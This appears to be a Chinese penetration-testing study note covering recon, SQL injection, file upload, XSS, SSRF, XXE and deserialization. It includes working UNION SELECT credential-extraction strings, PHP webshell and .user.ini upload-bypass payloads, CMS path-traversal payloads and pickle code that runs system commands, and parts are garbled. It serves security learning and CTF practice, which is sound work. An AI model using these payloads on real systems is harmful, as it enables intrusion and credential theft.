渗透测试笔记

操作系统
操作系统&名词&文件下载&反弹 SHELL&防火墙绕过
知识点:
1、名词解释-渗透测试-漏洞&攻击&后门&代码&专业词
2、必备技能-操作系统-用途&命令&权限&用户&防火墙
3、必备技能-文件下载-缘由&场景&使用-提权&后渗透
4、必备技能-反弹命令-缘由&场景&使用-提权&后渗透
前后端,POC/EXP,Payload/Shellcode,后门/Webshell,木马/病毒,
反弹,回显,跳板,黑白盒测试,暴力破解,社会工程学,撞库,ATT&CK 等
1、个人计算机&服务器用机
2、Windows&Linux 常见命令
3、文件权限&服务权限&用户权限等
4、系统用户&用户组&服务用户等分类
5、自带防火墙出站&入站规则策略协议
Linux:wget curl python ruby perl java 等
Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32 等反弹 Shell 命令-解决数据回显&解决数据通讯
useradd 用户名 passwd 用户名
测试 Linux 系统添加用户或修改密码命令交互回显问题
1、内网:
内网 -> 网站
网站 !-> 内网
2、防火墙:
网站 <-> aliyun
网站 防火墙 -> aliyun
aliyun !-> 网站 防火墙
web搭建

1、	网站搭建前置知识
22、WEB 应用环境架构类
33、WEB 应用安全漏洞分类
44、WEB 请求返回过程数据包
5、	网站搭建前置知识
6、	域名,子域名,DNS,HTTP/HTTPS,证书等
7、	WEB 应用环境架构类
8、	理解不同 WEB 应用组成角色功能架构:
9、	开发语言,程序源码,中间件容器,数据库类型,服务器操作系统,第三方软件等
10、	开发语言:asp,php,aspx,jsp,java,python,ruby,go,html,javascript 等
11、	程序源码:根据开发语言分类;应用类型分类;开源 CMS 分类;开发框架分类等
12、	中间件容器:IIS,Apache,Nginx,Tomcat,Weblogic,Jboos,glasshfish 等
13、	数据库类型:Access,Mysql,Mssql,Oracle,db2,Sybase,Redis,MongoDB 等
14、	服务器操作系统:Windows 系列,Linux 系列,Mac 系列等
15、	第三方软件:phpmyadmin,vs-ftpd,VNC,ELK,Openssh 等
16、	WEB 应用安全漏洞分类
17、	SQL 注入,文件安全,RCE 执行,XSS 跨站,CSRF/SSRF/CRLF,
18、	反序列化,逻辑越权,未授权访问,XXE/XML,弱口令安全等
19、	WEB 请求返回过程数据包参考:
20、	https://www.jianshu.com/p/558455228c43
2122、	https://www.cnblogs.com/cherrycui/p/10815465.html
2324、	请求数据包,请求方法,请求体,响应包,响应头,状态码,代理服务器等
25、	Request,Response,User-Agent,Cookie,Server,Content-Length 等
26、	知识点:
271、抓包技术应用意义
282、抓包技术应用对象
293、抓包技术应用协议
304、抓包技术应用支持
315、封包技术应用意义
32、	总结点:学会不同对象采用不同抓包封包抓取技术分析
33、	基于网络接口抓包-网络接口
34、	基于程序进程抓包-程序进程
35、	基于数据协议抓包-HTTP/S&TCP&UDP
36、	基于应用对象抓包-APP&小程序&PC_UI
37、	基于系统使用抓包-模拟器&WIN&LINUX
38、	基于应用对象封包-WPE 动作数据包重放通讯
39、	参考点:
40、	Fiddler:
41、	是一个 http 协议调试代理工具,它能够记录并检查所有你的电脑和互联网之间的 http 通讯,设置断
42、	点,查看所有的“进出”Fiddler 的数据(指 cookie,html,js,css 等文件)。 Fiddler 要比其他的网络调试
43、	器要更加简单,因为它不仅仅暴露 http 通讯还提供了一个用户友好的格式。
44、	Charles:
45、	是一个 HTTP 代理服务器,HTTP 监视器,反转代理服务器,当浏览器连接 Charles 的代理访问互联网时,
46、	Charles 可以监控浏览器发送和接收的所有数据。它允许一个开发者查看所有连接互联网的 HTTP 通
47、	信,这些包括 request, response 和 HTTP headers (包含 cookies 与 caching 信息)。
48、	TCPDump:是可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、
49、	网络或端口的过滤,并提供 and、or、not 等逻辑语句来帮助你去掉无用的信息。
50、	BurpSuite:是用于攻击 web 应用程序的集成平台,包含了许多工具。Burp Suite 为这些工具设计了
51、	许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的 HTTP 消息、持
52、	久性、认证、代理、日志、警报。
53、	Wireshark:是一个网络封包分析软件。网络封包分析软件的功能是截取网络封包,并尽可能显示出
54、	最为详细的网络封包资料。Wireshark 使用 WinPCAP 作为接口,直接与网卡进行数据报文交换。
55、	科来网络分析系统:是一款由科来软件全自主研发,并拥有全部知识产品的网络分析产品。该系统
56、	具有行业领先的专家分析技术,通过捕获并分析网络中传输的底层数据包,对网络故障、网络安全
57、	以及网络性能进行全面分析,从而快速排查网络中出现或潜在的故障、安全及性能问题。
58、	WPE&封包分析:是强大的网络封包编辑器,wpe 可以截取网络上的信息,修改封包数据,是外挂制
59、	作的常用工具。一般在安全测试中可用来调试数据通讯地址。

环境配置:
1、安卓模拟器安装搭建
逍遥,雷电,夜神等自行百度下载安装
2、工具相关证书安装指南
Charles
https://blog.youkuaiyun.com/weixin_45459427/article/details/108393878
Fidder
https://blog.youkuaiyun.com/weixin_45043349/article/details/120088449
BurpSuite
https://blog.youkuaiyun.com/qq_36658099/article/details/81487491
3、封包抓取调试见课程操作
为什么要抓包?-抓包应用的资产信息进行安全测试
2、抓包对象有那些?-小程序,APP,桌面应用等
3、抓包协议区别工具?-有部分应用不走 HTTP/S,需要用到全局协议抓包
4、封包和抓包不同之处?-零散整体的区别,封包能精确到每个操作的数据包
常见机密编码
知识点:
存储密码加密-Web&数据库&系统
传输数据编码-各类组合传输参数值
代码特性加密-JS&PHP&NET&JAVA
数据显示编码-字符串数据显示编码
1.了解加密编码进制在安全测试中的存在
2.掌握常见的加密解密编码解码进制互转的操作
3.了解常见的加密解密编码解密进制互转的影响
旨在解决类似疑问,提供思路:
你是否碰到不知道的加密方式?
你是否碰到无法找到的解密平台?
你是否碰到不知道如何解密的字符串?
你是否准备参加 CTF 比赛补充此类知识点?
详细点:
密码存储加密:
MD5 SHA1 NTLM AES DES RC4
MD5 值是 32 或 16 位位由数字"0-9"和字母"a-f"所组成的字符串
SHA1 这种加密的密文特征跟 MD5 差不多,只不过位数是 40
NTLM 这种加密是 Windows 的哈希密码,标准通讯安全协议
AES,DES,RC4 这些都是非对称性加密算法,引入密钥,密文特征与 Base64 类似
应用场景:各类应用密文,自定义算法,代码分析,CTF 安全比赛等
传输数据编码:
BASE64 URL HEX ASCII
BASE64 值是由数字"0-9"和字母"a-f"所组成的字符串,大小写敏感,结尾通常有符号=
URL 编码是由数字"0-9"和字母"a-f"所组成的字符串,大小写敏感,通常以%数字字母间隔
HEX 编码是计算机中数据的一种表示方法,将数据进行十六进制转换,它由 0-9,A-F,组成
ASCII 编码是将 128 个字符进行进制数来表示,常见 ASCII 码表大小规则:09<AZ<a~z
应用场景:参数传递(如注入影响),后期 WAF 绕过干扰写法应用,视频地址还原等
JS 前端代码加密:
JS 颜文字 jother JSFUCK
颜文字特征:一堆颜文字构成的 js 代码,在 F12 中可直接解密执行
jother 特征:只用! + ( ) [ ] { }这八个字符就能完成对任意字符串的编码。也可在 F12 中解密执行
JSFUCK 特征:与 jother 很像,只是少了{ }
后端代码加密:
PHP .NET JAVA
PHP:乱码,头部有信息
.NET:DLL 封装代码文件
JAVA:JAR&CLASS 文件
应用场景:版权代码加密,开发特性,CTF 比赛等
数据库密文加密:
MYSQL MSSQL 等
数据显示编码:
UTF-8 GBK2312 等
识别算法编码类型:
看密文位数
2、看密文的特征(数字,字母,大小写,符号等)
3、看当前密文存在的地方(Web,数据库,操作系统等应用)
补充点:
1.常见加密编码进制等算法解析
MD5,SHA,ASC,进制,时间戳,URL,BASE64,Unescape,AES,DES 等
2.常见加密编码形式算法解析
直接加密,带 salt,带密码,带偏移,带位数,带模式,带干扰,自定义组合等
3.常见解密解码方式(针对)
枚举,自定义逆向算法,可逆向
4.常见加密解码算法的特性
长度位数,字符规律,代码分析,搜索获取等
部分资源:
https://www.cmd5.com
http://tmxk.org/jother
http://www.jsfuck.com
http://www.hiencode.com
http://tool.chacuo.net/cryptaes
https://utf-8.jp/public/aaencode.html
1.30 余种加密编码类型的密文特征分析(建议收藏)
https://mp.weixin.qq.com/s?__biz=MzAwNDcxMjI2MA==&mid=2247484455&idx=1&sn=e1b4324ddcf7d6
123be30d9a5613e17b&chksm=9b26f60cac517f1a920cf3b73b3212a645aeef78882c47957b9f3c2135cb7ce
051c73fe77bb2&mpshare=1&scene=23&srcid=1111auAYWmr1N0NAs9Wp2hGz&sharer_sharetime=1605
145141579&sharer_shareid=5051b3eddbbe2cb698aedf9452370026rd
2.CTF 中常见密码题解密网站总结
https://blog.youkuaiyun.com/qq_41638851/article/details/100526839
3.CTF 密码学常见加密解密总结
https://blog.youkuaiyun.com/qq_40837276/article/details/83080460
指纹识别:
知识点:
资产架构-端口&目录&插件接口&多站点&多应用
番外安全-域名&服务器本身&服务厂商&管理人员
考虑阻碍-站库分离&CDN&WAF&负载均衡&主机防护
详细点:
1、前置条件-购买使用-云服务器&域名等
2、架构搭建-目录&端口&子域&插件&应用等
3、安全部署-WAF 防火墙&主机防护&HIDS 等
4、性能优化-负载均衡&CDN 加速&OSS 云存储等
资产架构:
WEB 单个源码指向安全
WEB 多个目录源码安全
WEB 多个端口源码安全
服务器架设多个站点安全
架设第三方插件接口安全
服务器架设多个应用安全
番外安全:
基于域名解析安全
基于服务器本身安全
基于服务商信息安全
基于管理个人的安全
考虑阻碍:
阻碍-站库分离
阻碍-CDN 加速服务
阻碍-负载均衡服务
阻碍-WAF 应用防火墙
阻碍-主机防护防火墙
Web架构:
知识点:
1、打点-Web 架构-语言&中间件&数据库&系统等
2、打点-Web 源码-CMS 开源&闭源售卖&自主研发等
3、打点-Web 源码获取-泄露安全&资源监控&其他等
4、打点-Web 域名-子域名&相似域名&反查域名&旁注等
信息点:
基础信息,系统信息,应用信息,防护信息,人员信息,其他信息等
技术点:
CMS 识别,端口扫描,CDN 绕过,源码获取,子域名查询,WAF 识别,负载均衡识别等
资产泄露:
知识点:
CMS 指纹识别源码获取方式
习惯&配置&特性等获取方式
3、托管资产平台资源搜索监控
详细点:
参考:https://www.secpulse.com/archives/124398.html
源码泄漏原因:
1、从源码本身的特性入口
2、从管理员不好的习惯入口
3、从管理员不好的配置入口
4、从管理员不好的意识入口
5、从管理员资源信息搜集入口
源码泄漏集合:
composer.json
git 源码泄露
svn 源码泄露
hg 源码泄漏
网站备份压缩文件
WEB-INF/web.xml 泄露
DS_Store 文件泄露
SWP 文件泄露
CVS 泄露
Bzr 泄露
GitHub 源码泄漏
端口扫描:
知识点:
获取网络信息-服务厂商&网络架构
2、获取服务信息-应用协议&内网资产
3、获取阻碍信息-CDN&WAF&负载&防火墙
详细点:
CDN 服务,WAF 防火墙,负载均衡,防火墙阻碍?
相关利用项目:
Masscan:https://github.com/robertdavidgraham/masscan
Wafw00f:https://github.com/EnableSecurity/wafw00f
Kali 上自带 Nmap,Masscan,lbd 等项目,超级 ping:ping.chinaz.com
超级 ping:CDN 服务识别
Masscan:端口扫描,应用协议
Wafw00f:Web 应用防护防火墙识别
Nmap:端口扫描,应用协议,防火墙识别
lbd:负载均衡,广域网负载均衡,应用层负载均衡
端口协议安全:
https://www.se7ensec.cn/2018/11/28/%E7%AB%AF%E5%8F%A3%E6%B8%97%E9%80%8F%E6%80%BB%
cdn绕过:
知识点:
0、CDN 知识-工作原理及阻碍
1、CDN 配置-域名&区域&类型
2、CDN 绕过-靠谱十余种技战法
3、CDN 绑定-HOSTS 绑定指向访问
前置知识:
1.传统访问:用户访问域名–>解析服务器 IP–>访问目标主机
2.普通 CDN:用户访问域名–>CDN 节点–>真实服务器 IP–>访问目标主机
3.带 WAF 的 CDN:用户访问域名–>CDN 节点(WAF)–>真实服务器 IP–>访问目标主机
CDN 配置:
配置 1:加速域名-需要启用加速的域名
配置 2:加速区域-需要启用加速的地区
配置 3:加速类型-需要启用加速的资源
判定标准:
nslookup,各地 ping(出现多个 IP 即启用 CDN 服务)
参考知识:
https://zhuanlan.zhihu.com/p/33440472
https://www.cnblogs.com/blacksunny/p/5771827.html
子域名,去掉 www,邮件服务器,国外访问,证书查询,APP 抓包
黑暗空间引擎,通过漏洞或泄露获取,扫全网,以量打量,第三方接口查询等
超级 Ping:https://www.17ce.com/
接口查询:https://get-site-ip.com/
国外请求:https://tools.ipip.net/cdn.php
全网扫描:https://github.com/Tai7sy/fuckcdn
相关工具:
知识点:
1、网络空间四大引擎-Fofa&Quake&Shodan&Zoomeye
2、自动化信息收集项目-ARL 灯塔&Suize 水泽&Kunyu 坤舆
3、单点功能信息收集项目-企查&子域名&指纹识别&社工信息
黑暗引擎:
https://fofa.so
https://quake.360.cn
https://www.shodan.io
https://www.zoomeye.org
自动项目:
https://github.com/knownsec/Kunyu
https://github.com/0x727/ShuiZe_0x727
https://github.com/TophantTechnology/ARL
相关资源:
https://forum.ywhack.com/center.php
SQL注入:
知识点:
1、脚本代码与数据库前置知识
2、Access 数据库注入-简易&偏移
3、MYSQL 数据库注入-简易&权限跨库
前置知识:
-SQL 注入漏洞产生原理分析
-SQL 注入漏洞危害利用分析
-脚本代码与数据库操作流程
-数据库名,表名,列名,数据
-数据库类型,数据库用户,用户权限
脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的 SQL
语句进行执行查询数据时。其中的 SQL 语句能通过参数传递自定义值来实现控制 SQL 语句,从而执
行恶意的 SQL 语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。这一个过程就可以叫做 SQL 注入漏洞。
漏洞产生根本条件:可控变量 特定函数
http://192.168.46.160:85/Production/PRODUCT.asp

http://192.168.46.160:85/Production/PRODUCT.asp?id=1513

如果下面的 URL 地址测试注入判断 id 有注入,手工测试该如何进行?

http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1

http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513

Production/PRODUCT.asp?id=1513 注入语句&page=1 对

Production/PRODUCT.asp?id=1513&page=1 注入语句 错

SQL 注入攻击流程:
1、猜测数据库类型
2、根据类型选择思路
ACCESS 独立存在
数据库名
表名
列名
数据
MYSQL 统一管理
最高数据库用户=root 用户
数据库 A=网站 A=数据库用户 A
表名
列名
数据
数据库 B=网站 B=数据库用户 B
数据库 C=网站 C=数据库用户 C
为了网站和数据库的安全性,MYSQL 内置有 ROOT 最高用户,划分等级,每个用户对应管理一个数
据库,这样保证无不关联,从而不会影响到其他数据库的运行。
MYSQL 两种思路:
非 ROOT 的注入攻击:常规类的猜解
ROOT 用户的注入攻击:文件读写操作,跨库查询注入等
黑盒测试中可以采用 user()获取当前用户权限,白盒中看连接用户即可!
select * from product where id=1513
select * from product where id=1513
查询 admin 表名:
UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
查询 admin 表名下的 admin 等列名
UNION select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
MYSQL5.0 以上版本:自带的数据库名 information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
information_schema.tables
获取相关数据:
1、数据库版本-看是否符合 information_schema 查询-version()-5.5.532
2、数据库用户-看是否符合 ROOT 型注入攻击-user()-root@localhost
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os-win
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()-syguestbook
ROOT 类型攻击-猜解数据,文件读写,跨库查询
获取 syguestbook 数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema=‘syguestbook’
获取表名 sy_adminuser 的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name=‘sy_adminuser’ and table_schema=‘syguestbook’
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
获取当前 mysql 下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取数据库名 xhcms 下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema=‘xhcms’
获取数据库名 xhcms 下的表 manage 下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name=‘manage’ and table_schema=‘xhcms’
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage
ASP+Access-简易注入-字典猜解
由于 Access 数据库特性导致这个 SQL 注入是需要借助字典去猜解表名和列名的,那么就会出现表名
或列名猜解不到,可以自定义社工字典或采用偏移注入!
ASP+Access-偏移注入-报错显示
偏移注入就是解决表名已知,列名未知的情况!
PHP+MYSQL-简易注入-存储特性
PHP+MYSQL-跨库注入-权限属性
文件上传:
知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini 妙用
4、文件上传-PHP 语言特性
详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME 检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
内容:
1、文件上传-CTF 赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例 CMS 文件上传安全分析
前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门
151 152-JS 验证+MIME
Content-Type: image/png
153-JS 验证+user.ini
https://www.cnblogs.com/NineOne/p/14033391.html
.user.ini:auto_prepend_file=test.png
test.png:<?php eval($_POST[x]);?>
154 155-JS 验证+user.ini+短标签

<? echo '123';?> //前

提是开启配置参数 short_open_tags=on

<?=(表达式)?> //不需

要开启参数设置
<% echo ‘123’;%> //前提是
开启配置参数 asp_tags=on

//不需要修改参数开关

.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST[x]);?>
156 JS 验证+user.ini+短标签+过滤
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST{x});?>
157 158 159 JS 验证+user.ini+短标签+过滤
使用反引号运算符的效果与函数 shell_exec()相同
.user.ini:auto_prepend_file=test.png
test.png:<?=system('tac ../fl*')?>
test.png:<? echo `tac /var/www/html/f*`?>
160 JS 验证+user.ini+短标签+过滤
包含默认日志,日志记录 UA 头,UA 头写后门代码
.user.ini:auto_prepend_file=test.png
test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
161 JS 验证+user.ini+短标签+过滤+文件头
文件头部检测是否为图片格式文件
.user.ini:GIF89A auto_prepend_file=test.png
test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>
XSS跨站:
知识点:
1、XSS 跨站-原理&攻击&分类等
2、XSS 跨站-反射型&存储型&DOM 型等
3、XSS 跨站-攻击手法&劫持&盗取凭据等
4、XSS 跨站-攻击项目&XSS 平台&Beef-XSS
1、原理
指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响
的 HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵
害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行
处理或处理不严,则浏览器就会直接执行用户注入的脚本。
-数据交互的地方
get、post、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
-数据输出的地方
用户资料
关键词、标签、说明
文件上传
2、分类
反射型(非持久型)
存储型(持久型)
DOM 型
mXSS(突变型 XSS)
UXSS(通用型 xss)
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS
3、危害
网络钓鱼,包括获取各类用户账号;
窃取用户 cookies 资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;
劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;
强制弹出广告页面、刷流量等;
CSRF以及SSRF:
知识点:
1、CSRF-原理&危害&探针&利用等
2、SSRF-原理&危害&探针&利用等
3、CSRF&SSRF-黑盒下漏洞探针点
详细点:
CSRF 全称:Cross-site request forgery,即,跨站请求伪造,也被称为 “One
Click Attack” 或 “Session Riding”,通常缩写为 CSRF 或者 XSRF,是一种对网
站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但
自己的 qq 号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义
伪造请求,执行恶意操作,具有很大的危害性。
CSRF 的攻击过程两个条件:
1、目标用户已经登录了网站,能够执行网站的功能。
2、目标用户访问了攻击者构造的 URL。
CSRF 安全问题黑盒怎么判断:
1、看验证来源不-修复
2、看凭据有无 token–修复
3、看关键操作有无验证-修复
-CSRF 安全问题白盒怎么审计:
同黑盒思路一样,代码中分析上述三看
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形
成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问
的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离
的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功
能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定
地址的图片,下载等等。
-SSRF 黑盒可能出现的地方:
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过 URL 地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过 URL 地址加载或下
载图片
5.图片/文章收藏功能:主要其会取 URL 地址中 title 以及文本的内容作为显示以求一
个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的
信息,就可以进行 ssrf 测试
XML和XEE
知识点:
1、XML&XXE-原理&发现&利用&修复等
2、XML&XXE-黑盒模式下的发现与利用
3、XML&XXE-白盒模式下的审计与利用
4、XML&XXE-无回显&伪协议&产生层面
思路点:
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
-XXE 黑盒发现:
1、获取得到 Content-Type 或数据类型为 xml 时,尝试进行 xml 语言 payload 进行
测试
2、不管获取的 Content-Type 类型或数据传输类型,均可尝试修改后提交测试 xxe
3、XXE 不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成
文件中的 XXE Payload 被执行
-XXE 白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
详细点:
XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可
选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的
信息传输工具。XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体
注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致
可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
XXE 修复防御方案:
-方案 1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferenc
文件上传下载:
知识点:
1、文件操作类安全问题
2、文件下载&删除&读取
3、白盒&黑盒&探针分析
详细点:
文件读取:基本和文件下载利用类似
文件下载:利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路
文件删除:除自身安全引发的文件删除外,可配合删除重装锁定文件进行重装
白盒审计:
1、文件下载
流程-功能点抓包-寻代码文件-寻变量控制-构造测试
Payload: softadd=d:/1.txt softadd2=d:/1.txt
2、文件删除:74CMS-配合删除重装
流程-特定函数搜索-寻触发调用-构造 Payload 测试
Payload:
/admin/admin_article.php?act=del_img&img=…/…/data/install.lock
3、文件读取:MetInfo-任意读取
流程-特定函数搜索-寻触发调用-构造 Payload 测试
Payload:/include/thumb.php?dir=http…\config\config_db.php
黑盒探针
1、URL 参数名及参数值分析:
参数名:英文对应翻译
参数值:目录或文件名
2、功能点自行修改后分析:
文件下载,删除,读取等
RCE代码执行:
知识点:
1、RCE 执行-代码执行&命令执行
2、CTF 考点-漏洞配合&绕过手法
3、利用审计-CMS 框架&中间件等
详细点:
1.为什么会产生此类安全问题
2.此类安全问题探针利用及危害
3.此类安全问题在 CTF 即 CMS 分析
漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)
漏洞对象:WEB 源码&中间件&其他环境(见漏洞详情对象)
漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令。
PHP反序列化:
知识点:
1、什么是反序列化操作?-格式转换
2、为什么会出现安全漏洞?-魔术方法
3、反序列化漏洞如何发现? -对象逻辑
4、反序列化漏洞如何利用?-POP 链构造
补充:反序列化利用大概分类三类
-魔术方法的调用逻辑-如触发条件
-语言原生类的调用逻辑-如 SoapClient
-语言自身的安全缺陷-如 CVE-2016-7124
-PHP&Java&Python
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
PHP 反序列化漏洞
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而
导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些
魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
魔术方法利用点分析:
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct(): //构造函数,当对象 new 的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用 isset()或 empty()触发
__unset(): //在不可访问的属性上使用 unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如
果存在,该方法会被优先调用。
Java反序列化:
知识点:
1、Java 反序列化演示-原生 API 接口
2、Java 反序列化漏洞利用-Ysoserial 使用
3、Java 反序列化漏洞发现利用点-函数&数据
4、Java 反序列化考点-真实&CTF 赛题-审计分析
内容点:
1、明白-Java 反序列化原理
2、判断-Java 反序列化漏洞
3、学会-Ysoserial 工具使用
4、学会-SerializationDumper
5、了解-简要 Java 代码审计分析
前置知识:
序列化和反序列化的概念:
序列化:把 Java 对象转换为字节序列的过程。
反序列化:把字节序列恢复为 Java 对象的过程。
对象的序列化主要有两种用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)
函数接口:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize()
Python:pickle
数据出现:
1、功能特性:
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数
据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性:
一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。
或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。
3、出现具体:
http 参数,cookie,sesion,存储方式可能是 base64(rO0),压缩后的
base64(H4s),MII 等 Servlets http,Sockets,Session 管理器,包含的协议就包
Python反序列化:

知识点:
1、Python-反序列化函数使用
2、Python-反序列化魔术方法
3、Python-反序列化 POP 链构造
4、Python-自动化审计 bandit 使用
前置知识:
函数使用:
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
魔术方法:
reduce() 反序列化时调用
reduce_ex() 反序列化时调用
setstate() 反序列化时调用
getstate() 序列化时调用
各类语言函数:
Java: Serializable Externalizable 接口、fastjson、jackson、gson、
ObjectInputStream.read、ObjectObjectInputStream.readUnshared、
XMLDecoder.read、ObjectYaml.loadXStream.fromXML、
ObjectMapper.readValue、JSON.parseObject 等
PHP: serialize()、 unserialize()
Python:pickle marshal PyYAML shelve PIL unzip
原理-反序列化魔术方法-调用理解
-魔术方法利用:
reduce() 反序列化时调用
reduce_ex() 反序列化时调用
setstate() 反序列化时调用
getstate() 序列化时调用
-代码块:
import pickle
import os
反序列化魔术方法调用-reduce() reduce_ex() setstate()
class A(object):
def reduce(self):
print(‘反序列化调用’)
return (os.system,(‘calc’,))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print(‘‘)
print(p_a)
class SerializePerson():
def init(self, name):
self.name = name
构造 setstate 方法
def setstate(self, name):
os.system(‘calc’) 恶意代码
tmp = pickle.dumps(SerializePerson(‘tom’)) 序列化
pickle.loads(tmp) 反序列化 此时会弹出计算器
序列化魔术方法调用-getstate
class A(object):
def getstate(self):
print(‘序列化调用’)
os.system(‘calc’)
a = A()
p_a = pickle.dumps(a)
print(’
’)
print(p_a)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

洒丶脱

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
